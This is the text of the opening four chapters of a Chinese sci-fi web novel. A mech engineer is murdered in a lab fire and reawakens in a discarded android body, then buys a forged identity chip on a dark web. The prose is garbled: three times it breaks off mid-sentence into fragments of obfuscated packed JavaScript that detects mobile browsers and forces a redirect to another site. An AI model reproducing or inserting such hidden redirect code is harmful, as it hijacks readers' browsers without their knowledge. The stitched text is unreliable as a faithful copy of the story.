《体质F，但开机甲[星际]》 1. 第 1 章 切斯特星A区。 几公顷的小型实验地内，停放着十几台新式机甲。 远程狙击型，近程防御型，工程型，安保型…… 种类繁多，且都是尚未量产的先端机型。 实验地的中心，纯白建筑顶部闪烁着七个大字：莱门机甲研究所。 “研究所的安全防御真是滴水不漏。” 雀斑少女挠挠下巴，神色困扰地收起电子拍摄设备。 他们都是业余机甲爱好者，这次偶然听说莱机所正在研发的次世代机甲即将完工。三人便一拍即合，相约来“探访”一下。 但实验区黑漆漆一片，明显做了光学干扰，一台机体都看不见。 他们于是特地使用了“专业设备”，探入实验区。但接口连接的屏幕上，实验区被寥寥几条白线划分出三个区域，而每个区域停放的，都是普通机甲。 根本没有他们要找的那台次世代机甲。 几个机甲爱好者发出失望的声音。 女孩爬下木箱，拍着大腿唉声叹气。 “我就说，莱机所这种民间小研究所，怎么可能制造知觉机甲，果然是假消息。” “所以早跟你们说了不要来，多半是白跑一趟。” “那可不一定。” 雀斑少女把探测器收回口袋，抬手推了下眼镜，镜片闪过一抹亮光。 “你们忘记那位新所长是谁了？她可不是一般人。” 研究所的墙头吹过一张废报纸，发出哗啦啦的声响。过了会儿，三个机甲爱好者敲敲脑袋，齐齐抬头望天。 “也是，毕竟是那个机甲天才嘛。” “是她的话，造出什么都不奇怪……” · 莱机所一共十二层，整体形态肖似人体的十二对肋骨。 而胶囊式电梯就像脊椎一般，处在对称线位置，往下延伸至最底层。 下班时间，研究员陆陆续续脱下白色实验服，打卡走出研究室。 “老大，你还不走啊？” 没有回应，车研究员声音大了点。 “老大？所长？” 生物计算机仍处在飞速的数学|运算中，伴随巨大的轰鸣声。实验室中间的光幕不停闪烁，黑色弹窗一个接一个弹出。 似是听到了她的话，生物计算机后紧迫的敲键盘声停顿了一瞬间。 “改完就回去。” “哎，也不差这一会儿的……”车研究员不停在周围转来转去。 莱门机甲研究所所长，星际公认的机甲程序天才——陶影，此刻终于不堪同事骚扰，停下了手中的工作，转过身。 她拍平肩膀处的褶皱，平静地看了车研究员一眼，车研究员立马举起双手，后退两步，光速滑跪。 “我错了老大。” 另一名研究员抱着半米高的报告正好路过，调侃道：“所长，加班还要腾出时间照顾下属，真是辛苦了。” “是啊，太辛苦了。”陶影故作叹气状，眼角却微微弯起，一副愉悦的表情，正打算再说什么，运算器突然滴滴答答响起，她顿时收敛了笑容，注意力再次回到屏幕上。 车研究员摸摸鼻子。 “老大，还有多久啊，要不我们一起回？” “做完最后调试就走，你们先回家吧。” “行。” 咔哒一声，自动门关闭，送走所里最后两位同事，陶影很快完成了手中的工作，仰躺在黑色的工椅上，轻呼出一口气。 睁眼时，视线投向实验室中心的“那个东西”。 那是一台机甲。 将黑色描绘到极致的机甲。 它半跪在地，头部微微垂下，美丽如沉睡中的黑天鹅。 机体高耸而修长，漆黑的外壳散发着金属色光辉，零件间的衔接流畅优雅，毫无瑕疵，显然出自对机甲设计极其精深的人之手。 ——知觉机甲。 自星历1004年，人类提出依靠精神力驾驶机甲——即知觉机甲假想以来，各大机甲企业相继在知觉机甲上投入了大量资金和人力。 但结果并不乐观。 有很多人说，知觉机甲只是人类美好的假想，是一个难以实现的美梦。 陶影不置可否。 很久以前，人类不会飞的时候，也认为离开脚下这片土地，是个无法实现的美梦。 而现在，人类已经可以随意跨越星系。 人类有造梦的能力，也有实现它的能力。 运算机的轰鸣声逐渐停下，陶影的手轻抚黑色金属，冰凉的触感让她嘴角不自觉勾起。 而现在，梦境变为现实。 人类史上的第一台知觉机甲，将带领人类进入全新的时代。 一如既往检查完设备后，陶影脱掉白色实验衣，把钥匙卡揣进口袋。来到电梯口，等待电梯下降到指定楼层。 电梯门开启的一刹那，一股似有若无的机油味萦绕鼻尖。 随后，略有些粘稠的滴落声响起。 嗒、嗒、嗒嗒。 陶影低下头。 眼前是铺满电梯底部的浅棕色机油——一个圆柱形的油桶歪斜倒在地上，出油口仍在不停溢出刺鼻的机油。 耳边传来细微而连续的脚步声，走廊尽头的逃生电梯，闪过一个鬼鬼祟祟的人影。 没有警报，没有预兆，楼上传来震耳欲聋的爆炸声。 · 凌晨三点，研究员被数十个电话叫醒，没好气地从床上爬起来，按下通话键。 “什么事凌晨三点给我打电话，虫族攻打莱门市了？” “比那个还严重。快看群聊！！！！” “你最好说的是真的……” 研究员点开莱机所的内部群聊，随之而来的是接连不断的消息轰炸。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585881|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【星网头条速报，莱门机甲研究所大火，火光冲天！现场附件.jpg】 【小C：什么情况，所里起火了？安全系统呢？没起作用吗？】 【大龙：附近全域断电，备用电力系统宕机，自动喷水系统失效。】 【小C：怎么可能这么巧，全域断电撞上系统出问题？】 【大龙：不清楚，我和晓理正在去研究所的路上。】 【费拉尼亚：来人啊，有没有人能联系上老大的！！！！安全系统的权限只有她有啊，再不灭火研究资料全烧没了！！！！！】 研究员点开附件，倒吸一口凉气。 昔日纯白色的研究所，此刻已经变成黑色的焦壳。数台无人机在空中悬停，试图抛洒灭火物质阻挡火势蔓延，但因为大门死死锁住，作用实在苍白。 急促拍下的照片传递出未曾对焦的混乱感，扑面而来的热浪与黑烟仿佛能穿透屏幕，将莱门本来就低沉的夜色压得更加昏暗。 群里安静得近乎窒息，隔了一会儿，突然蹦出一条消息。 【车晓理：等等，老大刚刚说她要加班，不会还在实验室里吧？！】 · 火场烟尘漫天，悬浮舰被围观的人潮堵在研究所门口，赶来的研究员们只能在大门外下车。 星警驾驶的小型机甲Geasy-2000正在门口警戒，以防止更多的意外发生。 不久，刺鼻燃烧的黑烟中，抬出一具尸体。 喧闹的人群瞬间陷入了沉默。 毕竟那实在难以说是尸体，通体焦黑，已经失去人形，只能勉强通过项间的饰品，辨认出她的身份。 与尸体同时出现的，还有一位金发男子。男子被星警簇拥着，表情沉稳，淡蓝色的眼珠闪烁着光华。 一阵寂静后，人群突然喧闹起来。记者迎着人潮，拼命递上话筒。 “尤里斯先生，请问您未婚妻的死和她正在进行的机密项目是否有关？！” “您身为四大机甲商之一——爱荷华家族的继承人，和陶影的婚约真的毫无商业考量吗？” 闪光灯不停闪烁着。 金发碧眼的青年毫无反应，只是凝视着那具尸体，陷入难言的沉默。记者很快被星警赶到一边，人群也渐渐安静。 旁人大概以为他是因未婚妻的死而大受打击，沉痛得说不出话。 但仔细看来，这位未婚夫，湛蓝的瞳孔中没有一丝情绪。 就好像早知今日会发生的一切。 星历1215年，莱门机甲研究所所长陶影，死于一场大火。 即将现世的次世代机甲“恒我”随之消逝，众人万分惋惜。但不久后，爱荷华科技推出了新型知觉机甲，大获成功。 不再有人记得恒我，就连莱机所也将恒我的数据封存。 有许多人在等待真相，而唯一能说出真相的人，已然死去。 2. 第 2 章 陶影再次睁眼的时候，看见满天的星光。但莱门市的夜晚长期被天幕包裹，到处都是光污染，从没有这样的景象。 她不在莱门，这是哪里？ 耳朵里时不时传来尖锐的高频率噪声，仿佛要把耳膜都穿透。 眼球干涩，她紧紧闭了几下，再次望向星空。 北方有一颗红色灯塔星在闪耀，以这颗星星的颜色，亮度，还有大小判断，它是第四星系的人造恒星。 她在第四星系。 身下轰隆隆响着机械音，陶影手撑着地，缓缓坐起。视线扫过四周，确认周围环境。 ……好的，她在一条垃圾传送带上。 准确地说，是堆满了无数台废弃仿生人的传送带上。 报废的仿生人是同一型号，记得是很受欢迎的家政机器人。此刻和垃圾融为一体，被传送带送往几百米外的巨大金属桶。 “轰隆——” 仿生人小山随着传送带的一次卡顿而坍塌。 小腿肚被冷硬的金属压住，陶影“嘶”了一声，用尽全身的力气，将腿抽了出来。 她检查完腿，确认没有挤压伤才放下。 话说回来……好瘦。 她虽说经常呆在实验室，但也有健身，怎么小腿瘦得跟竹竿一样。 就好像不是她自己的腿一样。 暂且忽略这点不对劲，她找了一个安全的地方坐着，余光瞥到脚下仿生人后颈充电插口上的铭牌，她伸出手指在凹凸不平的金属上摩挲几下，露出灰尘下的代码。 【ALMH-01224-0808-1035】。生产地点在莱门市，生产时间……等等，生产年份1224年？ 怎么可能。恒我的最后调试，是在1215年年初进行的。 她总不可能一觉睡了十年吧？ 耳鸣依旧没有停止，脑中嗡嗡作响。 陶影忍着疼痛按动开关，启动了仿生人——她需要知道现在的一些基本情况。 仿生人淡蓝色的眸子突然有了神采，他的头部机械地左右各转九十度，扫描勘测周围的环境。 看到陶影，仿生人似乎有点疑惑，但他还是友善地朝她打招呼。 “你好，同伴。” 当代仿生人，一开始就是为服务人类而生，所以各种数据调教，都是根据人类的喜好，有一种天然的亲和力。 看看，还管她叫同伴。 陶影询问道。 “现在什么时间？” “时间？” 仿生人露出疑惑的表情，指了指她的头，似乎在问你自己不知道吗？ 陶影抬起手腕示意：“我没有光脑。” 仿生人歪了歪头，似乎并没有明白陶影的意思，但他还是友善地回答了陶影的问题。 “我明白了，你的联网模块受到了损害。无法读取时间。” “现在是星历1225年6月1日，15:28:58，这里是第四星系杀马特星，无人区垃圾场。” “我的仿生人朋友。” 我的仿生人朋友。 陶影大脑仿佛被一阵电流击穿。 从刚刚开始就一直滋滋响动的噪声，陶影本以为是耳鸣。现在才发现，这更像是芯片接触不良，产生的电流声。 但人脑中怎么可能存在芯片？ 这违反星际伦理法，除非……她已经不是人类了。 就好像听见她的想法，脑中传来一个机械的声音。 【终端与控制中心失去连接，正在尝试重连。】 【网络重连失败，切换备用连接线路。】 陶影伸出手，露出左手手腕，手腕内侧的皮肤凹凸不平，烙印着一行编码。【ALMH-01220-0628-2234】。 这是一具高级仿生人的身体。 她想起来了，没错，这具身体不可能是她，因为她已经死了。 那天，研究所每一处出口，都被燃烧的高温机油阻挡。 为了避火，陶影随便逃入一处废弃的实验场地。 当时情况紧急，陶影也没注意那是什么地方，现在才想起来，多年前她曾经跟随导师在这里做过一个项目——有关人的意识如何转变为电子信号。 大概是手忙脚乱中，她误启动了实验室的精神力仪器…… 陶影只记得最后一道白光闪过，再醒来的时候，她就在这垃圾堆里了。 简单来说，赛博转生了。 陶影没忍住捂着脸，叹了口气。 这个项目，导师做了十几年都没结果，现在她随便按一下反倒成功了，导师哪天知道，估计能气进医院换人工心脏。 “怎么了，同伴？”仿生人同伴投来关心的目光。 “没什么。” 陶影按住因电流而抽痛的太阳穴，望向面前的“同伴”。 所以他们现在都被“废弃”到了偏远星系。 早知道当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585882|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初有人跟她宣传仿生人人权法案的时候，她也去投一票了。 脚底下的传送带猛然加速。 与此同时，身边的仿生人齐刷刷站了起来，他们声势浩大，成群结队，朝着一个方向转过头。 陶影顺着他们的方向看去，那里矗立一个巨大的桶型金属容器，开口处冒着红色的火光。 随后。 就好像被传染了病毒，仿生人阵不断机械式地重复着一个词语。 “销毁。”“销毁。” “销毁。”“销毁。”“销毁。”“销毁。”“销毁。” “启动自动销毁程序。” 耳边声音此起彼伏，就连刚刚身边那位管陶影叫“仿生人同伴”的家政机器人，也加入了这个队伍。 销毁的机械声如同魔咒钻入陶影的耳朵，后脑勺传来电流的滋滋声。 陶影眼前一黑，竟也不自觉地站了起来。 等她再次取回视觉，已经来到仿生人队伍的最前方。 巨大金属容器下方，吹来一阵干燥的热风，让陶影有些睁不开眼睛。 “……” 热风，来自金属容器侧壁上的加热模块。 也是这样，陶影才真正看清楚，眼前这庞然大物，根本就不是什么金属桶，而是一个巨大的熔炉。 浓稠的金属液不停翻滚，掉入的石子瞬间灰飞烟灭。 扑面的热浪让陶影忍不住后退了一步。 ……说真的，回头她要是没死，绝对要给仿生人人权法案投一票。 身侧的仿生人“同伴”听从终端的命令，踏入熔炉。 它缓缓下沉。 仍在液面上的皮肤溅上金属液后，迅速绽开，随后被撕扯着脱落，露出内部的金属。 液体金属无情钻入它的关节、缝隙，毁坏它身上的每一个精密电子元件。 耐热1000度的T型合金，不过片刻就融化成金属液。 最后，直到他的头部沉入液体金属前，那双淡蓝色的眼睛还直盯着陶影，破碎的电子声从半熔化的发声模块响起。 “再，再，再——见，我的仿，仿，仿生人同伴。” 滋啦的电流声又在脑袋深处响起，陶影伸出左脚，不自觉想往下迈。 电子音不断重复着“销毁”，如同恶魔引诱人前往地狱的咒语。 陶影掐着自己的大腿。 不行。 她必须摆脱仿生人信号的控制。 3. 第 3 章 但要怎么做到？ 没有仿生人可以违背命令。 脑中的电子音不断叫嚣，胃还饿得发疼，简直浑身上下没有一处对劲，要死了…… 等下，饿了？ 陶影摸了摸自己清晰可见的肋骨下方。 没错，她“饿了”。 但传统仿生人，出于节省运算资源考虑，并没有食欲的设置，难不成她这具身体—— 陶影忍不住笑了。 “不是吧，还能这样？” 她弯腰捡起一片锋利的金属，飞快割开后颈处的皮肤，指尖捏住一个坚硬的小方片，将其拔了出来。 取出芯片的瞬间，脑中电流声终于消失。 看着手心的芯片，陶影手指微微发颤，面上却带着笑容。 她猜对了。 市面上大多数仿生人，和眼前这位家政机器人一样，由传统金属材料制作。 但她这具身体，似乎是培养自人造细胞。 这类仿生人，是通过植入芯片来进行控制的。 好在她的控制线路，似乎本身就不太稳定，大概是她的意识信号进入这具身体，造成了电流紊乱吧——这才给了她反应的时间取出芯片。 想了想，这芯片和她身体的来历有关，还是先留着比较好。陶影将芯片揣进兜里，爬下了传送带。 而身后，那些外表与人类无异的仿生人，仍在一个个走进熔炉。 他们的动作非常果断，没有一点犹豫，仿佛受到了号召。 …… 这要是被星火科学摄制组拍下来，大概又能出个【仿生人集体自杀，是否代表他们拥有自我意识】的拥抱科学系列。 你别说，她那两位同事最爱看的就是这个。 陶影观望片刻，大概是肾上腺素水平终于降了下来，肚子传来叽咕的声音，她转身逃离了熔炉，开始在巨大的垃圾场晃荡，寻找食物。 …… 垃圾场堆满了仿生人，俨然是个仿生人废弃处，面积还不小，陶影绕着走了个遍，才找到一处盖满太阳能晶板的砖石小屋。 陶影推开窗户，爬了进去。 老旧的电视被啃断线路，墨绿色的沙发露出弹簧。陶瓷花瓶里，几朵红色假花裹满灰尘。 墙壁上一排铁钩，挂满了老式的机械钥匙。 电子日历的日期停留在数年之前，因为故障不停发出“咔哒”的声响。 看来这里已经废弃很久了。 陶影在管理室的抽屉里翻动了一会儿，找到几瓶过期黄桃罐头和营养液，还找出一个老式的光脑。 这光脑性能很烂，而且只能连上1.0版本的旧星网，但也能用。 陶影开了瓶营养液，一边喝，一边扫扫小铁床上的灰，找了个舒服的姿势，盘腿坐下。 “光脑助手，当前时间。” 光脑传来可爱的音色。 【您好，主人，现在的时间是星历1225年6月1日19时27分。】 再次确认距离她死亡已经过去了十年。陶影心情复杂。 她有一搭没一搭地操纵光脑，想查查当年那场大火后发生了什么，但星网上和她有关的新闻被删得寥寥无几。 她只能获得零星的信息。 她死后，她那位未婚夫悲痛不已，大众也认为以莱机所的安全程度，这场火灾必然是人祸，要求星警彻查死因。 结果星警还没发力，星网头条倒是先发力了。 有人“爆料”，陶影曾剽窃一位朱姓下属的研究成果。不仅如此，她还私下向海台科技贩卖柏氏工业的机密数据。 一条一条罪状，让讨论的焦点彻底模糊。 舆论急转直下。 不得不说，背后的人真是好手段。 把恒我的设计彻底打为剽窃不说，还编造她贩卖机密数据的谣言，引得海台科技、柏氏工业两大机甲商因为这事干了好几年仗。 得益的是谁呢？ 当然是他们的竞争对手。 陶影不禁冷笑，张口问道： “光脑助手，爱荷华科技近年是不是生产过知觉机甲？” 【您好，是的。爱荷华科技于十年前，生产了一台名为溟火的知觉机甲，其系统设计，堪称机甲历史上划时代的一笔……】 果然是他们。 爱荷华科技根本没有核心技术，对他们来说，制造知觉机甲是不可能的事情。 真正剽窃的人究竟是谁，已经很清楚了。 就是爱荷华科技！ 他们偷走了恒我的部分数据，制造了“第一台知觉机甲”，溟火。 陶影敲敲脑袋。 话说，溟火这个名字也取得非常缺德——在混沌与黑暗燃烧的火焰中重生的机甲。 “尤里斯·爱荷华与家里人闹翻，强行给机甲取名，竟是为了纪念这个坏女人！” 星网头条竟然还说这是她那位未婚夫的深情证明。 死了都还要吃她一口人血馒头来搞商业营销，真是缺大德。 陶影又点开几个讨论帖，试图再获取一点信息。 奇怪的是，几个提到她的的帖子里，总有人阴恻恻留言：“你还提陶影干什么，不怕电子幽灵找上你啊？” “嘘，可别提，小心它待会儿顺着网线爬到你家。” ……电子幽灵是什么东西？爱荷华家新的操纵舆论方式？ 星网网友神通广大，总不可能被控制—— 底下还真没人回帖了。 陶影垂头沉思，被灰尘呛到，拉回现实。 算了，以前的消息先放一边，想想她现在该怎么办吧。 虽然刚才已经取出了控制芯片，但她依然不能自由行动。 因为她还没有身份ID。 星际公民，如果没有身份芯片证明身份，在任何一个星系都寸步难行。 这个解决起来倒也不难，就是有些麻烦，还需要大量的金钱。 陶影想了想，调出光脑后端，关闭了星网的安全管制，随后简单朝黑屏的光脑发送了一串识别码。 片刻后，电脑重新亮屏，弹出一个网页，页面非常简洁，只有一圈深邃的漩涡，不免让人想起一个词——深渊。 冰冷神秘的合成女音响起。 “欢迎来到深雾网络。在这里，你什么都可以买到。” “好久不见，Shadow，距离你上次登录深雾网络，已经过去3893天。” 深雾网络，DeepMistWeb，如欢迎语所说，在这里什么都可以买到，上至大型杀伤性武器，下至机甲零件。 也因此，很多交易游走在灰色地带。 陶影以前在深雾网络帮人定制过机甲系统，靠这个挣了点外快，补贴研究经费。 刚登录上深雾网络账号，聊天界面迅速弹出了数千条信息，差点把手上这台破旧的光脑卡死。 【沙漠玫瑰：shadow大大，你究竟去哪里啦？还接单吗，我们这里有个小机甲系统需要调试！】 【我大姨最漂亮：你好shadow。之前的机甲调试我们队员很满意，想继续合作。】 【我大姨最漂亮：怎么不回我，嫌价格太低？佣金可以加个10%。】 【我大姨最漂亮：20%。】 【我大姨最漂亮：……最多，最多30%，一亿三千万星币，不能再多了！】 陶影快速扫描了一遍，大部分都是合作过的老客户，消息内容无非是希望陶影帮他们测试零件兼容性，或者调试机甲系统。 不过也有从她这儿挣钱的例外。 【哈梅斯james_：shadow，你还回来吗？新到了两百年前的限定绝版零件，再不回我可不给你留了。】 这人是个机甲狂热技术宅，家族在莱门经营一些机甲零件，店铺就叫哈梅斯机甲杂货铺，陶影有时候会在他那里淘点绝版小零件。 哈梅斯的消息数在聊天窗口里一骑绝尘，足足有三千条，才刷出来一半，光脑就掉了一格电，还发出一阵不详的滴滴声。 陶影默默把他的消息全设为了已读。 她现在没钱。 关闭聊天界面，正打算去买身份芯片，光脑右下角突然弹出一个灰色的头像。 【嘟，嘟，嘟——】 ……语音通话？ 深雾网络虽然有通话功能，但大家出于安全考虑，几乎都不会用。 用户名……Dust。 陶影往上一翻，差不多从她消失开始，这个账号每周都会给她发一条消息。但她完全不记得自己加过这么一个人。 点开消息内容，对方的灰色头像突然亮了起来。 聊天记录框里出现一行消息。 Dust：【你是谁？】 陶影：“……” 找上她的账号问她是谁？ Dust：【是你吗？】 …… 陶影没多想，直接拉黑了这位Dust。 这么多年了，星际诈骗手段怎么一点进步都没有。 她点开购物站，搜索身份芯片，筛选送货范围——第四星系，按送货速度排序，很快出现了数条售卖信息，价格在一万星币到一百万星币不等。 一万星币连成本都不够，多半是低价吸引人的奸商，一百万又太贵，没必要。 陶影挑了一个靠谱的聊了一会儿，最后谈下来价格在五十万左右。 【Shadow：那付款吧。】 【Siren：账号给我。】 两个人都很熟练，陶影另外打开一个网页，捣鼓一阵，远程连上她在莱门的私人服务器。 她有四个账号存款都被冻结，多半直到现在还被莱门监测中心密切关注着。 只要一动这些账号里的钱，马上会被察觉。 想了想，她切换到另一个私密账号。这个账号的所有者是虚构的，除了陶影本人，不可能有人知道。 将地址定在垃圾场附近的一处陨石坑后，陶影很干脆地把钱划到对方账上，就等着收货了。 此刻，远在数亿光年外的莱门，地下三千米处。 少年坐在服务器上，削瘦的下巴半缩在柔软的白色高领毛衣，手心摊着一本银白色格子的手册。 周围的黑金色机器，互相连接成复杂的网络，机器上的灯光不停闪烁，一串串复杂的数据，无数段此起彼伏的电流，他们仿佛拥有生命，在传达什么信息。 而这些组成了少年。 少年是虚幻的光影，没有实体，但又实在和人类别无二致，所以此刻精细的全息投影，显得他很像一只幽灵。 他抿唇，压抑着手上的颤动。 投影里，银白色的星星正追逐着一团黑色的影子。 系统传来提示音： 【已经反查到坐标，您寻找的人，正在第四星系杀马特星。】 手中的书册掉落在地上，少年五指一收，书本便回到手心，隐没起来。 他的手按在黑色影子闪烁的的地方，片刻后，额头轻轻靠在那里，像是终于等来了他的神明。 “走吧，去迎接她。” · 陶影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585883|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快就收到了包裹的投递信息。 她离开垃圾场，来到约定的地点，接到了小型星舰的空投商品。 接到包裹的陶影沉默了。 好大。 …… 身份芯片一共就指甲盖大小，哪怕加上注射器也很小，包裹高度怎么会到她的大腿？ 陶影晃了晃，听声音，像是什么金属。 算了，拆开看了就知道了。 陶影找了个有石头遮挡的地方，麻利地拆开包裹，提起纸箱的瞬间，里头骨碌碌滚出一个东西。 是一只机械小狗。 小狗只有巴掌大小，是照着幼犬的形态制作的，被陶影抓在手心，头一歪，一双眼睛朝她眨巴眨巴，憨厚可爱。狗头上贴了个红色标签，写着赠品。 这么好心，买身份芯片送机械小狗？陶影摸摸下巴。她不信。 她遮住小狗的眼睛——也就是识别传感器，检查一番后，并没有发现什么奇怪的恶性组件。 但这类机器是可以进行远程操作的。 陶影思索片刻后，还是掐住机械狗项间的主供电线缆，用小刀割断。 以防万一。 在深雾网络上买东西得时刻保持警惕，任何带有危险性的东西都不能留在身边。 “杀死”机械小狗后，陶影从包裹中拿出芯片注射器，确认购买的芯片是否有问题。 出生地，杀马特星。 出生时间，星历1210年3月11日。 名称，白颖。 将针座按在后颈上，缓缓推入，一阵轻微的刺痛后，芯片注射完毕。 现在，她是杀马特星出生的星际合法公民了。 回头看见小狗孤零零躺在地上，陶影手指在手臂上敲了敲。 虽然是并没有意识的智能体……但把它放在无人的荒漠，不符合陶影的处世哲学。 “毕竟我是个浪漫主义者。” 思索片刻，陶影从兜里掏出工具，下掉机械小狗的螺丝，把值钱的核心、存储器和电池一一收入囊中。 物尽其用怎么能说不是一种浪漫呢。 当然不是因为她馋上面的零件。 此刻远在莱门，地底三千米处，少年身侧的运算机发出“噼啪”的电流声。 和第四星系的通讯连接被切断。 运算机的散热模块开始飞速运转，电子声响起，屏幕上的长条频谱随之抖动。 【这就是你一直在找的那位？果然和你说的一样防备心强，可惜防到的是你。现在怎么办，还要继续接触吗？】 “嗯。” 陶影刚才出现的地点条件很糟糕，沙漠中心，附近几十公里根本没有人烟，恐怕没有人类能吃的食物，她的生存率会在三天内下降到20%。 “我很担心。” 少年抿抿嘴，转头隐没进黑金色的运算机集群中。 · 陶影回到管理员室，拆开角落里一箱营养液，随手掏了一瓶，吨吨吨灌了下去。 一股巨大的鱼腥味窜上天灵盖，陶影面色扭曲，擦掉咳出的眼泪。 这营养液喝起来像大夏天发酵了三个月的鱼类。 谁家好人营养液这种口味，都没有消费者投诉的？ 她再次检查标签，看了眼标签，没过期。又转过营养液的瓶子，查找生产商的信息。 充满高级感的三角形金色镭射标上，画了一条格格不入的咸鱼，下面写着一行小宣传语。 【海台科技出品，“冷冻咸鱼味”营养液，今天，你咸鱼了吗？】 陶影：“……” 哦，海台科技。 事情突然变得合理了起来。 海台科技是一家年轻的机甲公司，划重点，【机甲公司】。 他们生产的GYeasy系列机甲皮实耐用，配件便宜，在机师那儿的口碑非常好。 但除开机甲，海台科技投资了不少和机甲完全不沾边的东西，电影、乐器、化肥、营养液……等等。 “不务正业海台家”这句话在业界也算是共识了。 毕竟海台家那位“不务正业”的总裁并不缺钱，开这家公司纯粹是为了自我实现。 但再怎么说冷冻咸鱼口味的营养液也太抽象了，投资这个究竟能实现什么自我啊？ 陶影眼神中带着挣扎，嘬完最后一口营养液。 没办法，附近物资缺乏，几乎找不到人类能吃的食物，就这点营养液还是她从垃圾山里翻出来的。 嘴里的咸鱼味逐渐消散，陶影眨眨眼睛，一手划拉着光脑，做着下一步打算。 合法居民的身份有了，接下来她面临一个更严肃的问题。 就是仿生人身体的体质。 说来你可能不信，她刚刚走那几百米，到现在腿还发软。 走八步气血不畅，走十步喘一分钟，走一百步两眼昏花。 体质差到令人难以想象。 这要是不做基因改造……很难说能活到什么时候。 第四星系的医疗条件有限，体质改造这方面的技术，莱门最为顶尖。 要做手术，就得去莱门。 也就是繁华的第一星系，她以前工作的地方—— 陶影调出买票窗口。 据她所知，第四星系因为地方太过偏远，平时根本没有客运星舰，只有每年的特殊时期，才会有货运星舰来这里停靠一次。 “光脑助手，查询下一次星舰停靠本港的时间。” 【好的，帮您查询到，一个月后，贝母星有一艘运输舰会途径这里。】 4. 第 4 章 一个月的时间不短，总不能干等着。 陶影思考后，卡着报名截止时间，报名了星际联考。 星际联考三年一次，是偏远星系学子改变自己的命运的重要机会。 雷瓦尔帝国并不欢迎外国人停留，游客要前往那里也是需要办各种复杂手续的，如果以游客的身份去，说不定基因改造手术还没恢复好，她就会被赶回偏远星系。 但要是以学生的身份，就是另外一回事了。最起码大学四年，她能稳定居住在第一星系。 这是她现在最好的选择。 第一星系的大学选择很多，但最好的果然还是莱门大学。 就陶影所知，莱门大学体质手术的补贴可以达到50%以上，可以大大减轻她的经济压力。 只是现在距离联考，只有一个月的时间。 要够到莱门大学的分数线，有点悬。 陶影快速扫了这些年的主科试题，考点倒是没有太大的变化，试做了几套试题，平均分离莱大机甲系的录取线还差一百分左右。 给她一个月，她能把这个差距降低到十分……但离录取线还是很危险。 “实在不行，只能选莱门市其它稍差一点的学校了。” 陶影头靠着墙，笔在屏幕上敲了敲。 五分钟后，她站了起来。 不，说不定还有其它办法。 参与星际联考的人，大多都只考主要科目，但也有极小一部分目标非常明确的人，会选择加考两门特定科目。 后者的考试难度更大，且在专业的选择上受限，一般考生不会选择。 但对陶影来说，也许是去莱门大学的最好机会。 “光脑助手，这届星际联考的选修科目有哪些？” 【您好，本届星际联考的选修科目共四百三十一门，包括能量学、古生物病毒研究、星系间生态学、星际法律与政策、星际心理学、星际伦理学、太空农业与食品科学、太空材料……】 陶影扯了张纸，写下十几个她比较熟悉的科目，用笔重点圈出三个。 太空材料、机甲、知觉机甲。 机甲科的题目她看过，对她来说不难，选。 太空材料和制作机甲的主要材料紧密相关，她虽然主攻软件，但研究机甲多少得了解材料——这个科目作为备选科目之一。 陶影的笔在纸上划拉两下，最后在知觉机甲四个字旁边打了个问号，侧过头。 “助手，我记得以前没有知觉机甲这个科目。” 光脑助手很快回答。 【是的，以前没有，因为近年来知觉机甲在民间的普及，六年前新增了一门知觉机甲科。但因为是新出现的科目，题型并不好总结，比较灵活，如果您打算参与本届联考，助手并不推荐您选择本门科目……】 陶影无视了它的建议：“有参考题目吗？” 光脑助手很快给出了前六年的考试题目。 陶影翻动着页面，面色从容。 这些计算数据她实在是太熟悉了。虽然做过修改，但都是以“恒我”的数据为蓝本，她闭着眼睛都不会算错。 那么事情就简单了。 意向，莱门大学机甲学院，机甲系统专业。 陶影填好目标，用账户余额在考场附近租好一处小房间，开始专心准备考试。 很快就到了联考前一天，陶影准时入睡，光脑助手进入助眠模式，开始播放宇宙收音机的音乐。 【星网晚间播报，溟火第二代机甲已经投入使用，大获好评，其总设计师朱驰现转入莱门监测中心工作。】 【据悉，同期诞生的知觉机甲“恒我”，即将进入销毁程序……】 · 切斯特星，莱门市。 配备了落地窗的大房间内，黑发少女正在用光脑通信。 少女十六七岁年纪，眼神却沉稳。她咬住手腕上的皮筋，随手将野草般的长发扎起，袖子顺着高抬的手滑落，露出小臂几道长长的伤疤。 重新将两手撑在办公桌上，她点开收到的邮件。 【Re：恒我的第三期修复实验失败。】 【机体现在已经从第四星系的实验场出发，运往莱门。小姐如果想阻止销毁程序，就必须找到能启动它的人，这是我们最后的机会了。】 少女——也就是柏氏工业的下一任家主柏墨——眉头紧皱。 柏氏自建立起就有条规定，同一台机甲如果连续十年无法启动，则必须进行销毁。 